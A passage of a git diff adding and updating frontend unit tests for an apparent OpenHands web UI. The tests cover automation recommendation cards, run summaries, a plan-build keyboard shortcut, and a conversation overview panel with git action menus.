expect(within(betaHeading).getByText("7")).toBeInTheDocument(); const betaSection = screen.getByTestId( "recommended-automations-beta-section", @@ -309,6 +319,24 @@ describe("recommended automations", () => { ).toHaveAttribute("data-layout", "quadrants"); }); + it("shows the declared glyph instead of a logo stack when an entry names one", () => { + render( + , + ); + + // `news-digest` connects to nothing, so there are no logos to stack; it + // names its own glyph, and the badge must render that rather than the + // generic placeholder a bare empty stack would give. + const badge = screen.getByTestId("recommended-automation-icon-news-digest"); + expect(badge).not.toHaveAttribute("data-layout"); + expect(badge.querySelector("svg")).toBeInTheDocument(); + expect(badge.querySelector("img")).not.toBeInTheDocument(); + }); + it("renders missing MCP connect copy as a pill on the same row", () => { const offsetWidthDescriptor = Object.getOwnPropertyDescriptor( HTMLElement.prototype, @@ -369,7 +397,41 @@ describe("recommended automations", () => { } }); + /** + * Puts a non-MCP-installable requirement back on `jira-issue-to-pr`. + * + * It declared the HTTP-only `jira` until @openhands/extensions 0.17.0 swapped it + * for the MCP `atlassian-rovo`, and no catalog automation declares a non-MCP + * integration any more. The cases below are about what a card does with one, so + * the requirement is restored for their duration rather than the assertions + * rewritten around a property the catalog stopped having. Mirrors the + * mutate-and-restore already used for the unknown-ID case. + * + * @returns the restore function, which the caller must run in a `finally`. + */ + function requireNonMcpIntegration(): () => void { + const automation = AUTOMATION_CATALOG.find( + (item) => item.id === "jira-issue-to-pr", + )!; + const mutable = automation as RecommendedAutomation & { + requires: { integrations: Record }; + }; + const original = mutable.requires.integrations; + const { "atlassian-rovo": rovo, ...rest } = original; + // Keyed first, so the pill order and the install queue start where they did. + mutable.requires.integrations = { + jira: { + message: rovo?.message ?? "Reads the project for issues.", + }, + ...rest, + }; + return () => { + mutable.requires.integrations = original; + }; + } + it("keeps a non-MCP-installable integration visible on its card instead of dropping it", () => { + const restoreRequirement = requireNonMcpIntegration(); // SkillCardPillRow folds pills behind "+N more" when it measures zero // widths in jsdom; give it room so every pill renders. const offsetWidthDescriptor = Object.getOwnPropertyDescriptor( @@ -428,6 +490,7 @@ describe("recommended automations", () => { "RECOMMENDED_AUTOMATIONS$MISSING_CONNECT:1", ); } finally { + restoreRequirement(); if (offsetWidthDescriptor) { Object.defineProperty( HTMLElement.prototype, @@ -497,17 +560,23 @@ describe("recommended automations", () => { }); it("queues installs only for MCP-installable required integrations", async () => { - renderLauncher(); + const restoreRequirement = requireNonMcpIntegration(); - fireEvent.click( - screen.getByTestId("recommended-automation-card-jira-issue-to-pr"), - ); + try { + renderLauncher(); - // jira cannot go through the local MCP install flow, so the queue starts - // directly at github rather than failing or skipping the automation. - const modal = await screen.findByTestId("mcp-install-modal"); - expect(modal).toHaveAttribute("data-marketplace-id", "github"); - expect(mockCreateConversationMutate).not.toHaveBeenCalled(); + fireEvent.click( + screen.getByTestId("recommended-automation-card-jira-issue-to-pr"), + ); + + // jira cannot go through the local MCP install flow, so the queue starts + // directly at github rather than failing or skipping the automation. + const modal = await screen.findByTestId("mcp-install-modal"); + expect(modal).toHaveAttribute("data-marketplace-id", "github"); + expect(mockCreateConversationMutate).not.toHaveBeenCalled(); + } finally { + restoreRequirement(); + } }); it("shows a decorative plus badge on each card without toggle behavior", () => { @@ -826,6 +895,54 @@ describe("recommended automations", () => { ).not.toBeInTheDocument(); }); + it("renders the compact rail instead of the catalog section", async () => { + // Earlier cases call `vi.unstubAllGlobals()`, which also removes the + // setup file's ResizeObserver stub the rail's fade tracking needs. + vi.stubGlobal( + "ResizeObserver", + class { + observe() {} + + unobserve() {} + + disconnect() {} + }, + ); + vi.spyOn(AutomationService, "getAutomations").mockResolvedValue({ + automations: [ + { + id: "installed-1", + name: "GitHub Code Review Agent", + trigger: { type: "cron", schedule: "0 9 * * *" }, + enabled: true, + prompt: "Review PRs", + created_at: "2026-01-01T00:00:00Z", + updated_at: "2026-01-01T00:00:00Z", + }, + ], + total: 1, + }); + + renderLauncher({ variant: "rail" }); + + expect( + await screen.findByTestId("recommended-automations-rail"), + ).toBeInTheDocument(); + expect( + screen.queryByTestId("recommended-automations-section"), + ).not.toBeInTheDocument(); + expect( + screen.queryByTestId( + "recommended-automation-rail-card-github-pr-reviewer", + ), + ).not.toBeInTheDocument(); + expect( + screen.getByTestId( + "recommended-automation-rail-card-slack-standup-digest", + ), + ).toBeInTheDocument(); + }); + it("launches the recommendation after the missing MCP is installed", async () => { const createSpy = vi .spyOn(SettingsService, "createMcpServer") diff --git a/__tests__/components/automations/to-latest-run-state.test.ts b/__tests__/components/automations/to-latest-run-state.test.ts new file mode 100644 index 000000000000..bf72e90fab42 --- /dev/null +++ b/__tests__/components/automations/to-latest-run-state.test.ts @@ -0,0 +1,52 @@ +import { describe, expect, it } from "vitest"; +import { toRunSummaryState } from "#/components/features/automations/to-latest-run-state"; +import { AutomationRunStatus, type AutomationRun } from "#/types/automation"; + +function createRun(overrides: Partial = {}): AutomationRun { + return { + id: "run-1", + status: AutomationRunStatus.COMPLETED, + conversation_id: null, + bash_command_id: null, + error_detail: null, + started_at: "2026-01-02T00:00:00Z", + completed_at: "2026-01-02T00:03:00Z", + ...overrides, + }; +} + +describe("toRunSummaryState", () => { + it("summarizes recent runs for the dashboard stats footer", () => { + const completed = createRun(); + const failed = createRun({ + id: "run-2", + status: AutomationRunStatus.FAILED, + started_at: "2026-01-02T00:10:00Z", + completed_at: "2026-01-02T00:12:00Z", + }); + + const state = toRunSummaryState({ + latestRun: completed, + recentRuns: [completed, failed], + total: 8, + isLoading: false, + isError: false, + }); + + expect(state.summary?.total).toBe(8); + expect(state.summary?.recentSuccessRate).toBe(0.5); + expect(state.summary?.averageDurationMs).toBe(150_000); + }); + + it("keeps an empty loading state from showing fake totals", () => { + const state = toRunSummaryState({ + latestRun: null, + recentRuns: [], + isLoading: true, + isError: false, + }); + + expect(state.summary).toBeNull(); + expect(state.isLoading).toBe(true); + }); +}); diff --git a/__tests__/components/chat/chat-interface.test.tsx b/__tests__/components/chat/chat-interface.test.tsx index 0a227e0f8a42..b1bace780446 100644 --- a/__tests__/components/chat/chat-interface.test.tsx +++ b/__tests__/components/chat/chat-interface.test.tsx @@ -1033,3 +1033,112 @@ describe("ChatInterface - Tracking", () => { expect(trackInitialQuerySubmittedMock).not.toHaveBeenCalled(); }); }); + +describe("ChatInterface - Build plan keyboard shortcut", () => { + let queryClient: QueryClient; + + const BUILD_PROMPT = + "Execute the plan based on the .agents_tmp/PLAN.md file."; + + beforeEach(() => { + vi.clearAllMocks(); + mockSend.mockResolvedValue({ queued: false }); + queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false } }, + }); + useOptimisticUserMessageStore.setState({ pendingMessages: [] }); + useErrorMessageStore.setState({ errorMessage: null }); + (useConfig as unknown as ReturnType).mockReturnValue({ + data: {}, + }); + ( + useUnifiedUploadFiles as unknown as ReturnType + ).mockReturnValue({ + mutateAsync: vi + .fn() + .mockResolvedValue({ skipped_files: [], uploaded_files: [] }), + isLoading: false, + }); + useEventStore.setState({ events: [], eventIds: new Set(), uiEvents: [] }); + }); + + function renderInterface() { + render( + + + + } /> + + + , + ); + } + + const pressBuildShortcut = () => { + fireEvent.keyDown(document, { key: "Enter", metaKey: true }); + fireEvent.keyDown(document, { key: "Enter", ctrlKey: true }); + }; + + const sentBuildPrompt = () => + mockSend.mock.calls.some(([message]) => + JSON.stringify(message).includes(BUILD_PROMPT), + ); + + it("does not send the build prompt in code mode", () => { + act(() => { + useConversationStore.setState({ + conversationMode: "code", + planContent: null, + }); + }); + + renderInterface(); + pressBuildShortcut(); + + expect(sentBuildPrompt()).toBe(false); + }); + + it("does not send the build prompt in code mode when a plan exists", () => { + act(() => { + useConversationStore.setState({ + conversationMode: "code", + planContent: "# Plan\n\n- step one", + }); + }); + + renderInterface(); + pressBuildShortcut(); + + expect(sentBuildPrompt()).toBe(false); + }); + + it("does not send the build prompt in plan mode when no plan exists", () => { + act(() => { + useConversationStore.setState({ + conversationMode: "plan", + planContent: null, + }); + }); + + renderInterface(); + pressBuildShortcut(); + + expect(sentBuildPrompt()).toBe(false); + }); + + it("sends the build prompt in plan mode when a plan exists", async () => { + act(() => { + useConversationStore.setState({ + conversationMode: "plan", + planContent: "# Plan\n\n- step one", + }); + }); + + renderInterface(); + fireEvent.keyDown(document, { key: "Enter", metaKey: true }); + + await waitFor(() => { + expect(sentBuildPrompt()).toBe(true); + }); + }); +}); diff --git a/__tests__/components/features/chat/plan-preview.test.tsx b/__tests__/components/features/chat/plan-preview.test.tsx index 6af94df2d46f..c48a09c48d0e 100644 --- a/__tests__/components/features/chat/plan-preview.test.tsx +++ b/__tests__/components/features/chat/plan-preview.test.tsx @@ -208,8 +208,7 @@ describe("PlanPreview", () => { await user.click(buildButton); // Assert - const pending = - useOptimisticUserMessageStore.getState().pendingMessages; + const pending = useOptimisticUserMessageStore.getState().pendingMessages; expect(pending).toHaveLength(1); expect(pending[0].text).toBe(expectedPrompt); expect(pending[0].status).toBe("sending"); @@ -381,9 +380,9 @@ describe("PlanPreview", () => { const viewButton = screen.getByTestId("plan-preview-view-button"); await user.click(viewButton); - // Assert: selectTab was called with 'planner' and the drawer opened - // (in-memory). The drawer-open state is session-only and must not - // touch localStorage; only the selected tab persists. + // Assert: selectTab was called with 'planner' and the drawer opened. + // Opening the drawer also mirrors `rightPanelShown` into the + // conversation's localStorage blob, alongside the selected tab. expect(useConversationStore.getState().selectedTab).toBe("planner"); expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); @@ -391,7 +390,7 @@ describe("PlanPreview", () => { localStorage.getItem(`conversation-state-${conversationId}`)!, ); expect(storedState.selectedTab).toBe("planner"); - expect(storedState).not.toHaveProperty("rightPanelShown"); + expect(storedState.rightPanelShown).toBe(true); }); it("should call selectTab with 'planner' when Read more button is clicked", async () => { @@ -412,9 +411,9 @@ describe("PlanPreview", () => { const readMoreButton = screen.getByTestId("plan-preview-read-more-button"); await user.click(readMoreButton); - // Assert: selectTab was called with 'planner' and the drawer opened - // (in-memory). The drawer-open state is session-only and must not - // touch localStorage; only the selected tab persists. + // Assert: selectTab was called with 'planner' and the drawer opened. + // Opening the drawer also mirrors `rightPanelShown` into the + // conversation's localStorage blob, alongside the selected tab. expect(useConversationStore.getState().selectedTab).toBe("planner"); expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); @@ -422,6 +421,6 @@ describe("PlanPreview", () => { localStorage.getItem(`conversation-state-${conversationId}`)!, ); expect(storedState.selectedTab).toBe("planner"); - expect(storedState).not.toHaveProperty("rightPanelShown"); + expect(storedState.rightPanelShown).toBe(true); }); }); diff --git a/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx b/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx index 9617e3fcb709..dd796ff599c6 100644 --- a/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx +++ b/__tests__/components/features/conversation/chat-interface-wrapper.test.tsx @@ -1,12 +1,39 @@ import { render, screen } from "@testing-library/react"; -import { describe, it, expect, vi } from "vitest"; +import { describe, it, expect, vi, beforeEach } from "vitest"; import { ChatInterfaceWrapper } from "#/components/features/conversation/conversation-main/chat-interface-wrapper"; +import { useConversationStore } from "#/stores/conversation-store"; vi.mock("#/components/features/chat/chat-interface", () => ({ ChatInterface: () =>
, })); +vi.mock("#/components/features/conversation/conversation-overview-panel", () => ({ + ConversationOverviewPanel: () => ( +
+ ), +})); + +vi.mock("#/hooks/use-breakpoint", () => ({ + useBreakpoint: () => false, +})); + +const mockUseConversationOverviewColumnSpace = vi.fn(() => true); + +vi.mock("#/hooks/use-conversation-overview-column-space", () => ({ + useConversationOverviewColumnSpace: () => + mockUseConversationOverviewColumnSpace(), +})); + describe("ChatInterfaceWrapper", () => { + beforeEach(() => { + mockUseConversationOverviewColumnSpace.mockReturnValue(true); + useConversationStore.setState({ + isOverviewPanelShown: false, + isOverviewPanelPeeked: false, + isRightPanelShown: false, + }); + }); + it("renders the chat interface when the right panel is hidden", () => { render(); @@ -18,4 +45,38 @@ describe("ChatInterfaceWrapper", () => { expect(screen.getByTestId("chat-interface")).toBeInTheDocument(); }); + + it("uses the overview grid layout when space is available", () => { + useConversationStore.setState({ isOverviewPanelShown: true }); + render(); + + expect(screen.getByTestId("conversation-overview-column")).toBeInTheDocument(); + expect(screen.getByTestId("conversation-overview-panel")).toBeInTheDocument(); + }); + + it("keeps the thread in a height-constrained flex column when overview is shown", () => { + useConversationStore.setState({ isOverviewPanelShown: true }); + const { container } = render( + , + ); + + const threadColumn = container.querySelector(".overflow-hidden.flex-1"); + expect(threadColumn).toBeInTheDocument(); + expect(threadColumn).toHaveClass("min-h-0"); + }); + + it("falls back to the centered thread layout when the right column is too narrow", () => { + mockUseConversationOverviewColumnSpace.mockReturnValue(false); + useConversationStore.setState({ isOverviewPanelShown: true }); + + render(); + + expect( + screen.queryByTestId("conversation-overview-column"), + ).not.toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-panel"), + ).not.toBeInTheDocument(); + expect(screen.getByTestId("chat-interface")).toBeInTheDocument(); + }); }); diff --git a/__tests__/components/features/conversation/conversation-git-actions-toggle.test.tsx b/__tests__/components/features/conversation/conversation-git-actions-toggle.test.tsx new file mode 100644 index 000000000000..679208430c99 --- /dev/null +++ b/__tests__/components/features/conversation/conversation-git-actions-toggle.test.tsx @@ -0,0 +1,84 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import { ConversationGitActionsToggle } from "#/components/features/conversation/conversation-git-actions-toggle"; +import { useConversationStore } from "#/stores/conversation-store"; + +const { breakpointIsMobile } = vi.hoisted(() => ({ + breakpointIsMobile: { value: false }, +})); + +vi.mock("#/hooks/use-breakpoint", () => ({ + useBreakpoint: () => breakpointIsMobile.value, +})); + +vi.mock("#/hooks/use-is-archived-conversation", () => ({ + useIsArchivedConversation: () => false, +})); + +vi.mock("#/hooks/query/use-active-conversation", () => ({ + useActiveConversation: () => ({ + data: { + id: "conv-1", + git_provider: "github", + }, + }), +})); + +describe("ConversationGitActionsToggle", () => { + beforeEach(() => { + vi.clearAllMocks(); + breakpointIsMobile.value = false; + useConversationStore.setState({ messageToSend: null }); + }); + + it("stays visible on smaller screens", () => { + breakpointIsMobile.value = true; + + render(); + + expect( + screen.getByTestId("conversation-git-actions-toggle"), + ).toBeInTheDocument(); + }); + + it("opens a dropdown of git actions and fills the composer with prompts", async () => { + const user = userEvent.setup(); + render(); + + await user.click(screen.getByTestId("conversation-git-actions-toggle")); + + await user.click( + await screen.findByTestId("conversation-git-actions-commit"), + ); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "commit", + ); + + await user.click(screen.getByTestId("conversation-git-actions-toggle")); + await user.click(screen.getByTestId("conversation-git-actions-pull")); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "pull", + ); + + await user.click(screen.getByTestId("conversation-git-actions-toggle")); + await user.click(screen.getByTestId("conversation-git-actions-push")); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "push", + ); + + await user.click(screen.getByTestId("conversation-git-actions-toggle")); + await user.click(screen.getByTestId("conversation-git-actions-create-pr")); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "pull request", + ); + + await user.click(screen.getByTestId("conversation-git-actions-toggle")); + await user.click( + screen.getByTestId("conversation-git-actions-create-new-branch"), + ); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "new branch", + ); + }); +}); diff --git a/__tests__/components/features/conversation/conversation-name-with-status.test.tsx b/__tests__/components/features/conversation/conversation-name-with-status.test.tsx index 9cb41ff550b8..00f2b9ea4d0d 100644 --- a/__tests__/components/features/conversation/conversation-name-with-status.test.tsx +++ b/__tests__/components/features/conversation/conversation-name-with-status.test.tsx @@ -30,6 +30,9 @@ vi.mock("#/hooks/query/use-active-conversation", () => ({ vi.mock("#/hooks/use-conversation-id", () => ({ useConversationId: () => ({ conversationId: "test-conversation-id" }), + useOptionalConversationId: () => ({ + conversationId: "test-conversation-id", + }), })); vi.mock("#/hooks/mutation/use-unified-stop-conversation", () => ({ diff --git a/__tests__/components/features/conversation/conversation-overview-diffs-row.test.tsx b/__tests__/components/features/conversation/conversation-overview-diffs-row.test.tsx new file mode 100644 index 000000000000..9912d302f4c1 --- /dev/null +++ b/__tests__/components/features/conversation/conversation-overview-diffs-row.test.tsx @@ -0,0 +1,140 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { ConversationOverviewDiffsRow } from "#/components/features/conversation/conversation-overview-diffs-row"; +import { useConversationStore } from "#/stores/conversation-store"; + +const navigateToTabMock = vi.fn(); +const closeDrawerMock = vi.fn(); + +vi.mock("#/hooks/use-conversation-overview-git-diff-stats", () => ({ + useConversationOverviewGitDiffStats: () => ({ + additions: 12, + deletions: 4, + changeCount: 2, + isLoading: false, + isError: false, + }), +})); + +const navigateToChangesMock = vi.fn(); + +vi.mock("#/hooks/use-select-conversation-tab", () => ({ + useSelectConversationTab: () => ({ + navigateToTab: navigateToTabMock, + navigateToChanges: navigateToChangesMock, + }), +})); + +vi.mock("#/hooks/query/use-active-conversation", () => ({ + useActiveConversation: () => ({ + data: { + id: "conv-1", + git_provider: "github", + }, + }), +})); + +vi.mock( + "#/components/features/conversation/conversation-overview-drawer-context", + () => ({ + useConversationOverviewDrawerOptional: () => ({ + section: "skills", + openAdd: false, + openSection: vi.fn(), + closeDrawer: closeDrawerMock, + }), + }), +); + +describe("ConversationOverviewDiffsRow", () => { + beforeEach(() => { + vi.clearAllMocks(); + useConversationStore.setState({ messageToSend: null }); + }); + + it("opens the git actions menu and sends commit, pull, push, and create PR prompts", async () => { + const user = userEvent.setup(); + render(); + + await user.click( + screen.getByTestId("conversation-overview-diffs-git-action"), + ); + + await user.click( + await screen.findByTestId("conversation-overview-diffs-git-commit"), + ); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "commit", + ); + + await user.click( + screen.getByTestId("conversation-overview-diffs-git-action"), + ); + await user.click(screen.getByTestId("conversation-overview-diffs-git-pull")); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "pull", + ); + + await user.click( + screen.getByTestId("conversation-overview-diffs-git-action"), + ); + await user.click(screen.getByTestId("conversation-overview-diffs-git-push")); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "push", + ); + + await user.click( + screen.getByTestId("conversation-overview-diffs-git-action"), + ); + await user.click( + screen.getByTestId("conversation-overview-diffs-git-create-pr"), + ); + expect(useConversationStore.getState().messageToSend?.text).toContain( + "pull request", + ); + }); + + it("keeps diff numbers hidden while the git menu is open", async () => { + const user = userEvent.setup(); + render(); + + const stats = screen.getByTestId( + "conversation-overview-diffs-additions", + ).parentElement; + + await user.click( + screen.getByTestId("conversation-overview-diffs-git-action"), + ); + + expect(stats).toHaveClass("opacity-0"); + }); + + it("opens Diff view and closes open drawers when the changes label is clicked", async () => { + const user = userEvent.setup(); + render(); + + await user.click(screen.getByTestId("conversation-overview-diffs")); + + expect(closeDrawerMock).toHaveBeenCalled(); + expect(navigateToChangesMock).toHaveBeenCalled(); + expect(navigateToTabMock).not.toHaveBeenCalled(); + }); + + it("uses a full-row hover that clears when the git action is hovered", () => { + render(); + + const row = screen.getByTestId("conversation-overview-diffs").closest("li"); + const changesButton = screen.getByTestId("conversation-overview-diffs"); + const gitAction = screen.getByTestId( + "conversation-overview-diffs-git-action", + ); + + expect(row).toHaveClass("hover:bg-white/5"); + expect(row?.className).toContain( + "has-[.conversation-overview-diffs-git-action:hover]:bg-transparent", + ); + expect(changesButton).not.toHaveClass("hover:bg-white/5"); + expect(gitAction).toHaveClass("hover:bg-white/10"); + }); +}); diff --git a/__tests__/components/features/conversation/conversation-overview-drawer-content.test.tsx b/__tests__/components/features/conversation/conversation-overview-drawer-content.test.tsx new file mode 100644 index 000000000000..5ad02e370d5f --- /dev/null +++ b/__tests__/components/features/conversation/conversation-overview-drawer-content.test.tsx @@ -0,0 +1,260 @@ +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { render, screen, within } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import { ConversationOverviewDrawerContent } from "#/components/features/conversation/conversation-overview-drawer-content"; +import { + ConversationOverviewDrawerProvider, + useConversationOverviewDrawer, +} from "#/components/features/conversation/conversation-overview-drawer-context"; +import { CONVERSATION_OVERVIEW_DRAWER_SECTION } from "#/components/features/conversation/conversation-overview-drawer.types"; +import { ActiveBackendProvider } from "#/contexts/active-backend-context"; +import SettingsService from "#/api/settings-service/settings-service.api"; +import SkillsService from "#/api/skills-service"; +import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers"; +import type { SkillInfo } from "#/types/settings"; + +vi.mock("#/hooks/use-conversation-overview-stats", () => ({ + useConversationOverviewStats: () => ({ + workspaceName: "demo", + }), +})); + +vi.mock("#/hooks/use-conversation-primary-repository", () => ({ + useConversationPrimaryRepository: () => ({ + repository: "openhands/agent-canvas", + provider: "github" as const, + branch: "main", + isConnected: true, + }), +})); + +vi.mock("#/hooks/query/use-repository-git-items", () => ({ + useRepositoryPullRequests: () => ({ + data: [], + isLoading: false, + isError: false, + }), + useRepositoryIssues: () => ({ + data: [], + isLoading: false, + isError: false, + }), +})); + +vi.mock("#/hooks/query/use-active-conversation", () => ({ + useActiveConversation: () => ({ + data: { selected_workspace: "/workspace/project/demo" }, + }), +})); + +vi.mock("#/hooks/query/use-automation-health", () => ({ + useAutomationHealth: () => ({ + data: { status: "ok" }, + isLoading: false, + refetch: vi.fn(), + }), +})); + +vi.mock("#/hooks/query/use-automations", () => ({ + useAutomations: () => ({ + data: { automations: [], total: 0 }, + isLoading: false, + isError: false, + refetch: vi.fn(), + }), + useToggleAutomation: () => ({ mutate: vi.fn() }), + useDeleteAutomation: () => ({ mutate: vi.fn(), isPending: false }), + useDispatchAutomation: () => ({ mutate: vi.fn() }), +})); + +vi.mock("#/hooks/use-tracking", () => ({ + useTracking: () => ({ + trackPrebuiltAutomationEnabled: vi.fn(), + }), +})); + +vi.mock("#/hooks/use-create-automation-in-chat", () => ({ + useCreateAutomationInChat: () => vi.fn(), +})); + +vi.mock("#/hooks/use-is-creating-conversation", () => ({ + useIsCreatingConversation: () => false, +})); + +vi.mock("#/hooks/mutation/use-create-conversation", () => ({ + useCreateConversation: () => ({ mutate: vi.fn(), isPending: false }), +})); + +function buildSkill(overrides: Partial = {}): SkillInfo { + return { + name: "deno", + type: "knowledge", + source: "/Users/test/.openhands/cache/skills/public-skills/skills/deno/SKILL.md", + description: "Use this skill for Deno projects.", + triggers: ["deno"], + version: "1.0.0", + license: "Apache-2.0", + compatibility: null, + metadata: null, + allowed_tools: null, + is_agentskills_format: true, + disable_model_invocation: false, + ...overrides, + }; +} + +function OpenSection({ + section, +}: { + section: (typeof CONVERSATION_OVERVIEW_DRAWER_SECTION)[keyof typeof CONVERSATION_OVERVIEW_DRAWER_SECTION]; +}) { + const { openSection } = useConversationOverviewDrawer(); + return ( + + ); +} + +function renderDrawer( + section: (typeof CONVERSATION_OVERVIEW_DRAWER_SECTION)[keyof typeof CONVERSATION_OVERVIEW_DRAWER_SECTION], +) { + return render( + + + + , + { + wrapper: ({ children }) => ( + + {children} + + ), + }, + ); +} + +describe("ConversationOverviewDrawerContent", () => { + beforeEach(() => { + vi.restoreAllMocks(); + vi.spyOn(SettingsService, "getSettings").mockResolvedValue( + MOCK_DEFAULT_USER_SETTINGS, + ); + vi.spyOn(SkillsService, "getSkills").mockResolvedValue([buildSkill()]); + }); + + it("places the close button left of the title and the add control on the right", async () => { + const user = userEvent.setup(); + renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.skills); + + await user.click(screen.getByTestId("open-drawer-section")); + + const header = screen + .getByTestId("conversation-overview-drawer-content") + .querySelector("header"); + expect(header).not.toBeNull(); + expect(header).toHaveClass("h-10"); + expect(header).toHaveClass("min-h-10"); + expect(header).toHaveClass("pr-4"); + expect( + within(header as HTMLElement).getByTestId( + "conversation-overview-skills-add-skill-button", + ), + ).toHaveClass("h-7"); + + const headerItems = within(header as HTMLElement).getAllByRole("button"); + expect(headerItems[0]).toHaveAttribute( + "data-testid", + "conversation-overview-drawer-close", + ); + expect(headerItems[1]).toHaveAttribute( + "data-testid", + "conversation-overview-skills-add-skill-button", + ); + }); + + it("opens the add skill modal from the header add button", async () => { + const user = userEvent.setup(); + renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.skills); + + await user.click(screen.getByTestId("open-drawer-section")); + await user.click( + await screen.findByTestId("conversation-overview-skills-add-skill-button"), + ); + + expect(await screen.findByTestId("add-skill-modal")).toBeInTheDocument(); + }); + + it("shows the automations add button in the header", async () => { + const user = userEvent.setup(); + renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.automations); + + await user.click(screen.getByTestId("open-drawer-section")); + + expect( + await screen.findByTestId("conversation-overview-automations-add"), + ).toBeInTheDocument(); + expect( + screen.queryByTestId("conversation-overview-automations-panel") + ?.querySelector( + '[data-testid="conversation-overview-automations-add"]', + ), + ).toBeNull(); + }); + + it("shows the mcp add button in the header", async () => { + const user = userEvent.setup(); + renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.mcp); + + await user.click(screen.getByTestId("open-drawer-section")); + + const header = screen + .getByTestId("conversation-overview-drawer-content") + .querySelector("header"); + expect( + within(header as HTMLElement).getByTestId( + "conversation-overview-mcp-add-server", + ), + ).toBeInTheDocument(); + }); + + it("places the view-on-provider link in the header for pull requests", async () => { + const user = userEvent.setup(); + renderDrawer(CONVERSATION_OVERVIEW_DRAWER_SECTION.pull_requests); + + await user.click(screen.getByTestId("open-drawer-section")); + + const header = screen + .getByTestId("conversation-overview-drawer-content") + .querySelector("header"); + const externalLink = within(header as HTMLElement).getByTestId( + "conversation-overview-pull_requests-open-external", + ); + + expect(externalLink).toHaveAttribute( + "href", + "https://github.com/openhands/agent-canvas/pulls", + ); + expect(externalLink).toHaveTextContent( + "CONVERSATION$OVERVIEW_VIEW_ON_PROVIDER", + ); + expect( + screen + .getByTestId("conversation-overview-pull_requests-panel") + .querySelector( + '[data-testid="conversation-overview-pull_requests-open-external"]', + ), + ).toBeNull(); + }); +}); diff --git a/__tests__/components/features/conversation/conversation-overview-panel.test.tsx b/__tests__/components/features/conversation/conversation-overview-panel.test.tsx new file mode 100644 index 000000000000..44b490704e8d --- /dev/null +++ b/__tests__/components/features/conversation/conversation-overview-panel.test.tsx @@ -0,0 +1,289 @@ +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { ConversationOverviewPanel } from "#/components/features/conversation/conversation-overview-panel"; +import { NavigationProvider } from "#/context/navigation-context"; +import { ConversationOverviewDrawerProvider } from "#/components/features/conversation/conversation-overview-drawer-context"; +import { CONVERSATION_OVERVIEW_DRAWER_SECTION } from "#/components/features/conversation/conversation-overview-drawer.types"; + +const openSection = vi.fn(); +const closeDrawer = vi.fn(); +const navigateToCommits = vi.fn(); + +vi.mock("#/hooks/use-conversation-id", () => ({ + useConversationId: () => ({ conversationId: "conv-1" }), +})); + +vi.mock("#/hooks/use-conversation-overview-git-diff-stats", () => ({ + useConversationOverviewGitDiffStats: () => ({ + additions: 4161, + deletions: 1824, + changeCount: 3, + isLoading: false, + isError: false, + }), +})); + +vi.mock("#/hooks/use-select-conversation-tab", () => ({ + useSelectConversationTab: () => ({ + navigateToTab: vi.fn(), + navigateToChanges: vi.fn(), + navigateToCommits, + }), +})); + +vi.mock("#/hooks/query/use-active-conversation", () => ({ + useActiveConversation: () => ({ + data: { + id: "conv-1", + selected_workspace: "/workspace/project/demo", + llm_model: "openhands/test-model", + }, + }), +})); + +vi.mock("#/hooks/query/use-settings", () => ({ + useSettings: () => ({ + data: { + llm_model: "openhands/test-model", + agent_settings: { + mcp_config: { + mcpServers: { + example: { + url: "https://example.com/mcp", + }, + }, + }, + }, + }, + }), +})); + +vi.mock("#/hooks/use-conversation-primary-repository", () => ({ + useConversationPrimaryRepository: () => ({ + repository: "openhands/agent-canvas", + provider: "github" as const, + branch: "main", + isConnected: true, + }), +})); + +vi.mock("#/hooks/query/use-unified-git-commits", () => ({ + useUnifiedGitCommits: () => ({ + commits: [{ sha: "abc" }, { sha: "def" }, { sha: "ghi" }], + hasMore: false, + isUnsupported: false, + isLoading: false, + isFetching: false, + isSuccess: true, + isError: false, + }), +})); + +vi.mock("#/hooks/query/use-repository-git-items", () => ({ + useRepositoryPullRequests: () => ({ + data: [ + { + id: 1, + number: 10, + title: "Fix overview", + url: "https://github.com/openhands/agent-canvas/pull/10", + authorLogin: "dev", + updatedAt: null, + }, + ], + isLoading: false, + isError: false, + }), + useRepositoryIssues: () => ({ + data: [], + isLoading: false, + isError: false, + }), +})); + +vi.mock("#/api/conversation-metadata-store", () => ({ + getStoredConversationMetadata: () => ({ + selected_workspace: "/workspace/project/demo", + }), +})); + +vi.mock( + "#/components/features/conversation/conversation-overview-drawer-context", + async (importOriginal) => { + const actual = await importOriginal< + typeof import("#/components/features/conversation/conversation-overview-drawer-context") + >(); + return { + ...actual, + useConversationOverviewDrawerOptional: () => ({ + section: null, + openAdd: false, + openSection, + closeDrawer, + }), + }; + }, +); + +function renderPanel() { + return render( + + + + + , + ); +} + +describe("ConversationOverviewPanel", () => { + beforeEach(() => { + vi.clearAllMocks(); + localStorage.clear(); + }); + + it("renders workspace and git changes without MCP, secrets, skills, or automations", () => { + renderPanel(); + + expect(screen.getByTestId("conversation-overview-panel")).toBeInTheDocument(); + expect(screen.getByTestId("conversation-overview-workspace")).toBeInTheDocument(); + expect( + 